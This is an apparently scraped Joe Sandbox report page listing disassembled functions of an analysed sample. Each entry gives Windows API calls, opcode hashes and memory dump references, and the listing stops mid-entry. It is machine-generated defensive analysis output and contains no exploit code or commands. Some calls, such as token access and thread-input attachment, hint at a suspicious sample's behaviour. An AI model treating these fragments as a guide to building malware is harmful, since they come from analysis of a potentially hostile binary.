Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: 05e856f3318ff0b364f2822c6b95b59c9e6eb52e22c1f33398eef35164e28644
Instruction ID: 235e1a2d6dde556f665b257f45b46082111c7fbb2265c504709bf8b494d5261d
Opcode Fuzzy Hash: 05e856f3318ff0b364f2822c6b95b59c9e6eb52e22c1f33398eef35164e28644
Instruction Fuzzy Hash: 0311AC71A00618ABDB309F658CC5BFE77ECEB10764B1045A6F91696181EBF09A84CB62

Function 00B51D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10781748051735d53586529438954e38944502a92234684d09972c232434e607
Instruction ID: ded65b62db92d9178788d7feec72aeba57db8156ea63351220dce672d6642040
Opcode Fuzzy Hash: 10781748051735d53586529438954e38944502a92234684d09972c232434e607
Instruction Fuzzy Hash: 700144B22056167EF611267C6CC1F6766ADDF413BAB340BF5FD31612D2DBA09C485170

Function 00B81A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00B81A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B81A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B81A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B81A8A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: e7a4f17cffe7fafd249abb1739ba5628f80d40ee6c840eaa62383d1b0f913f76
Instruction ID: a725118957b148471bd8a760a5852a510d41526b7c2006e98b01fd6dbbfac3e0
Opcode Fuzzy Hash: e7a4f17cffe7fafd249abb1739ba5628f80d40ee6c840eaa62383d1b0f913f76
Instruction Fuzzy Hash: 0B113C3AD01219FFEB10DFA8CD85FADBBB8EB08750F200491E610B7290D6716E51DB94

Function 00B8E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00B8E1FD
MessageBoxW.USER32(?,?,?,?), ref: 00B8E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00B8E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00B8E24D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: bd0634692ec6a3874b80d8412735b9091d1ff342ec643c7c0cbf6a942e5eb168
Instruction ID: d14e806a6191ca64caf845f6695891bc72c9859b5437e9bc4d0bcccd8c554055
Opcode Fuzzy Hash: bd0634692ec6a3874b80d8412735b9091d1ff342ec643c7c0cbf6a942e5eb168
Instruction Fuzzy Hash: E911A176904254BBC701EFACDC49AAA7FEDEB45320F1446A5F924E32A1DAB0C904C7A0

Function 00B4D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,00B4CFF9,00000000,00000004,00000000), ref: 00B4D218
GetLastError.KERNEL32 ref: 00B4D224
__dosmaperr.LIBCMT ref: 00B4D22B
ResumeThread.KERNEL32(00000000), ref: 00B4D249

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 87f0b599e7421d31a97921e5619706e9fac2c3c989a8e67d33d278456320f798
Instruction ID: 9f9fd4d6b5be9b7a47dbc6985d7e7a80745053db7c8778200d44f8c63ed37554
Opcode Fuzzy Hash: 87f0b599e7421d31a97921e5619706e9fac2c3c989a8e67d33d278456320f798
Instruction Fuzzy Hash: 7601D236805214BBCB119BA5DC09BAE7EE9DF81731F100399F925A31D0CFB0CA05E6A1

Function 00BB9EF3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00B39BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00B39BB2

GetClientRect.USER32(?,?), ref: 00BB9F31
GetCursorPos.USER32(?), ref: 00BB9F3B
ScreenToClient.USER32(?,?), ref: 00BB9F46
DefDlgProcW.USER32(?,00000020,?,00000000,?,?,?), ref: 00BB9F7A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 0fe657eea22c463cec20b6b1268b7f89e0e0c259e2aab3c9e81ad7fd2f7aaa5c
Instruction ID: 004d33ce4653b503561b57c6953815d299b3ce4917c7287c138eee2aff5b0d64
Opcode Fuzzy Hash: 0fe657eea22c463cec20b6b1268b7f89e0e0c259e2aab3c9e81ad7fd2f7aaa5c
Instruction Fuzzy Hash: B911183290011AEBDB10DFA8D8859FE7BB9FB46321F504595FA11E3151DBB0BA81CBA1

Function 00B2600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00B2604C
GetStockObject.GDI32(00000011), ref: 00B26060
SendMessageW.USER32(00000000,00000030,00000000), ref: 00B2606A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 135a8d024c38ae724cd23e663f4ca690a22be02db501f76ae410ffd0ad98f748
Instruction ID: c2225df27a7fb2bbf0d5ab5bf6ed6fcbfb47fb5bdac0266b6916714460d0342b
Opcode Fuzzy Hash: 135a8d024c38ae724cd23e663f4ca690a22be02db501f76ae410ffd0ad98f748
Instruction Fuzzy Hash: A9118E72101518BFEF168FA49C84EEB7FA9EF09354F000241FA0852010CB769C60EBA0

Function 00B43B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00B43B56

Part of subcall function 00B43AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00B43AD2
Part of subcall function 00B43AA3: ___AdjustPointer.LIBCMT ref: 00B43AED

_UnwindNestedFrames.LIBCMT ref: 00B43B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00B43B7C
CallCatchBlock.LIBVCRUNTIME ref: 00B43BA4

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 1629f0f6be5e78c3517a5d08a21ec220dee4b5c4fe388acadeafb5b53ad5c30c
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: 2A012932100148BBDF126E95CC42EEB7BE9EF48B54F084094FE4896121C732EA61EBA0

Function 00B53073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00B213C6,00000000,00000000,?,00B5301A,00B213C6,00000000,00000000,00000000,?,00B5328B,00000006,FlsSetValue), ref: 00B530A5
GetLastError.KERNEL32(?,00B5301A,00B213C6,00000000,00000000,00000000,?,00B5328B,00000006,FlsSetValue,00BC2290,FlsSetValue,00000000,00000364,?,00B52E46), ref: 00B530B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00B5301A,00B213C6,00000000,00000000,00000000,?,00B5328B,00000006,FlsSetValue,00BC2290,FlsSetValue,00000000), ref: 00B530BF

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: d2609cbce9ce86e16a8d0a103a40220112a3820340d457fa94ee7b8db32aad71
Instruction ID: 020931d88bbc62e026281864829d00f1490cd200457ed5db8a995876c5327c41
Opcode Fuzzy Hash: d2609cbce9ce86e16a8d0a103a40220112a3820340d457fa94ee7b8db32aad71
Instruction Fuzzy Hash: A601DD3231132297DB218A789C84B577BD8DF45FE271807A0FD05E7280CB21D905C6E0

Function 00B87464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 00B8747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00B87497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00B874AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00B874CA

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 853a2b7fe6c63f3490d6e3448b1cc7cfb7f339c116965d8dac78c13c53b3ab8c
Instruction ID: 3f09c2c566779f23f15c66d9c0589db72ab362db08a8b027f92eef4fd15b7805
Opcode Fuzzy Hash: 853a2b7fe6c63f3490d6e3448b1cc7cfb7f339c116965d8dac78c13c53b3ab8c
Instruction Fuzzy Hash: BD11A1B12453109BE720DF54EC48F927FFCEB00B18F2485A9A656D7261DBB0EA04DBA0

Function 00B8B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00B8ACD3,?,00008000), ref: 00B8B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00B8ACD3,?,00008000), ref: 00B8B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00B8ACD3,?,00008000), ref: 00B8B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00B8ACD3,?,00008000), ref: 00B8B126

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 3e7158b6575a7f008958e3d1b8c318b9b7f36ee2e83bed204d8430f800c500e3
Instruction ID: 93c7156089ffe7413c3f3bb3c0765be2ac730093c6148fce15ba7f980d8f961e
Opcode Fuzzy Hash: 3e7158b6575a7f008958e3d1b8c318b9b7f36ee2e83bed204d8430f800c500e3
Instruction Fuzzy Hash: FD112731C01529E7CF00FFA8E998AEEBFB8FB09711F104186D991B6191CB709650CB51

Function 00BB7E14 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00BB7E33
ScreenToClient.USER32(?,?), ref: 00BB7E4B
ScreenToClient.USER32(?,?), ref: 00BB7E6F
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00BB7E8A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: dee2a9dd37575b191f3e99fb55d6a25e588ed37a0dbe2d1914ba4cd915e01b71
Instruction ID: 7f8a96f9cc8ec9ee6595154a75a3b3c96018792124819caf3be5b72d5ddd1da6
Opcode Fuzzy Hash: dee2a9dd37575b191f3e99fb55d6a25e588ed37a0dbe2d1914ba4cd915e01b71
Instruction Fuzzy Hash: 1D1156B9D0020AAFDB41CF99C8849EEBBF9FF08310F5051A6E915E3210DB75AA54CF50

Function 00B82DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00B82DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00B82DD6
GetCurrentThreadId.KERNEL32 ref: 00B82DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00B82DE4

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 49f0e542ee83f219b2721b8444a89f036fcbcb8010274cf031075e6c69b64b4e
Instruction ID: e3459110870f271cd8c08ec1b2a30cda1e84e5d222d10852ab7e0e1c20655b5a
Opcode Fuzzy Hash: 49f0e542ee83f219b2721b8444a89f036fcbcb8010274cf031075e6c69b64b4e
Instruction Fuzzy Hash: 7CE06D725012247BD7206B629C0DEEB3FACEB42BA1F100265B906E30909AE0C840C7B0

Function 00BB8863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00B39639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00B39693
Part of subcall function 00B39639: SelectObject.GDI32(?,00000000), ref: 00B396A2
Part of subcall function 00B39639: BeginPath.GDI32(?), ref: 00B396B9
Part of subcall function 00B39639: SelectObject.GDI32(?,00000000), ref: 00B396E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00BB8887
LineTo.GDI32(?,?,?), ref: 00BB8894
EndPath.GDI32(?), ref: 00BB88A4
StrokePath.GDI32(?), ref: 00BB88B2

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 88ff696de2cb1b35fe4ace85d3e09f21e1fe1dbf0b88953ae21eff7bf6f9d63b
Instruction ID: f10df7a89b7e51703b22b10882ddd7db1f11d367a8a25e46d822ebbc16d08416
Opcode Fuzzy Hash: 88ff696de2cb1b35fe4ace85d3e09f21e1fe1dbf0b88953ae21eff7bf6f9d63b
Instruction Fuzzy Hash: 0FF05E36041259FBDB12AF98AC0AFDE3F59AF06310F448140FA11660E2CBF55511CFE5

Function 00B398B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00B398CC
SetTextColor.GDI32(?,?), ref: 00B398D6
SetBkMode.GDI32(?,00000001), ref: 00B398E9
GetStockObject.GDI32(00000005), ref: 00B398F1

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 9b3f4fb47bf48be543f9809dac943811486afec0475d4b5d6953bc40d55a0560
Instruction ID: 2422308ed270f533675613dd2625f70d99aa60f2311f703fbd8ad36db757a470
Opcode Fuzzy Hash: 9b3f4fb47bf48be543f9809dac943811486afec0475d4b5d6953bc40d55a0560
Instruction Fuzzy Hash: BEE06531244640ABDB219B78AC09BD83F60EB11335F14C359F6F9690E1CBB146409B10

Function 00B8162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00B81634
OpenThreadToken.ADVAPI32(00000000,?,?,?,00B811D9), ref: 00B8163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00B811D9), ref: 00B81648
OpenProcessToken.ADVAPI32(00000000,?,?,?,00B811D9), ref: 00B8164F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: f29d16970f65f473a3f6126b7b5013334df6c1868eb49959bc6d2c1eb8566894
Instruction ID: f4af91e05d4e0ff3666b77e994d018bd8fab012d60099aa2073573274e464df4
Opcode Fuzzy Hash: f29d16970f65f473a3f6126b7b5013334df6c1868eb49959bc6d2c1eb8566894
Instruction Fuzzy Hash: 15E08631602211DBD7206FA49D0DB863FBCEF44791F184958F285CA090EAB48441C764

Function 00B7D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00B7D858
GetDC.USER32(00000000), ref: 00B7D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00B7D882
ReleaseDC.USER32(?), ref: 00B7D8A3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: daaebd4292bc20b3f057ba06ac9553b1be9d984c111254372a6534dff48af39d
Instruction ID: 53717a5062addf9a18f995475cb73a66dbe3d9b218cd6abadb7ff7ccc1184977
Opcode Fuzzy Hash: daaebd4292bc20b3f057ba06ac9553b1be9d984c111254372a6534dff48af39d
Instruction Fuzzy Hash: A7E01AB4C00204DFCB41EFA4D948A6DBFF1FB48310F208149E80AE7250CB784901EF50

Function 00B7D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00B7D86C
GetDC.USER32(00000000), ref: 00B7D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00B7D882
ReleaseDC.USER32(?), ref: 00B7D8A3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: f408153da95a8542ce938ebfa45110e8f6d9791c29fc7573f31060bb7325da6f
Instruction ID: a17761e1e83680438f404cd6d803fd02a4e0ea3a1a3a9fba5855ca8803682549
Opcode Fuzzy Hash: f408153da95a8542ce938ebfa45110e8f6d9791c29fc7573f31060bb7325da6f
Instruction Fuzzy Hash: EFE092B5C04204EFCB51EFA4E948A6DBFF5BB48311F248549E94AE7250CBB85905EF50

Function 00B94D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

